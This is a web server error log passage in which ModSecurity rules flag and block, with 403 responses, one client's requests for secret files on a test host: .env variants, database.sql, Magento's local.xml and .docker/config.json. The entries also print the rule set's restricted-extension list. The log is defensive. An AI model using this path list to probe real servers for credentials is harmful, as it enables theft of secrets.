[Sun Nov 30 18:08:46.412272 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9RAAAAAg&quot;]
[Sun Nov 30 18:08:46.412475 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9RAAAAAg&quot;]
[Sun Nov 30 18:08:46.412681 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9RAAAAAg&quot;]
[Sun Nov 30 18:08:46.873507 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.dev&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9RgAAAAg&quot;]
[Sun Nov 30 18:08:46.873732 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9RgAAAAg&quot;]
[Sun Nov 30 18:08:46.873958 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev&quot;] [unique_id &quot;aSx6Hl1RgwzjQxTFQvL9RgAAAAg&quot;]
[Sun Nov 30 18:08:47.103664 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/datavase/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9RwAAAAg&quot;]
[Sun Nov 30 18:08:47.103895 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9RwAAAAg&quot;]
[Sun Nov 30 18:08:47.104137 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/Datavase/.env&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9RwAAAAg&quot;]
[Sun Nov 30 18:08:47.333760 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SAAAAAg&quot;]
[Sun Nov 30 18:08:47.333980 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SAAAAAg&quot;]
[Sun Nov 30 18:08:47.334194 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SAAAAAg&quot;]
[Sun Nov 30 18:08:47.564073 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.remote&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SQAAAAg&quot;]
[Sun Nov 30 18:08:47.564315 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SQAAAAg&quot;]
[Sun Nov 30 18:08:47.564617 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.remote&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SQAAAAg&quot;]
[Sun Nov 30 18:08:47.794725 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SgAAAAg&quot;]
[Sun Nov 30 18:08:47.795218 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SgAAAAg&quot;]
[Sun Nov 30 18:08:47.795502 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aSx6H11RgwzjQxTFQvL9SgAAAAg&quot;]
[Sun Nov 30 18:08:48.025192 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9SwAAAAg&quot;]
[Sun Nov 30 18:08:48.025418 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9SwAAAAg&quot;]
[Sun Nov 30 18:08:48.025621 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9SwAAAAg&quot;]
[Sun Nov 30 18:08:48.256241 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9TAAAAAg&quot;]
[Sun Nov 30 18:08:48.256638 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9TAAAAAg&quot;]
[Sun Nov 30 18:08:48.256953 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9TAAAAAg&quot;]
[Sun Nov 30 18:08:48.948872 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /public/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9TwAAAAg&quot;]
[Sun Nov 30 18:08:48.949177 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9TwAAAAg&quot;]
[Sun Nov 30 18:08:48.949458 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/public/.env.save&quot;] [unique_id &quot;aSx6IF1RgwzjQxTFQvL9TwAAAAg&quot;]
[Sun Nov 30 18:08:49.179022 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UAAAAAg&quot;]
[Sun Nov 30 18:08:49.179219 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /assets/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UAAAAAg&quot;]
[Sun Nov 30 18:08:49.179454 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UAAAAAg&quot;]
[Sun Nov 30 18:08:49.179675 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/assets/.env.old&quot;] [unique_id &quot;aSx6IV1RgwzjQxTFQvL9UAAAAAg&quot;]
[Sun Nov 30 18:08:49.409544 2025] [:error] [pid 421120] [client 56.124.78.214:53804] [client 56.124.78.214] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 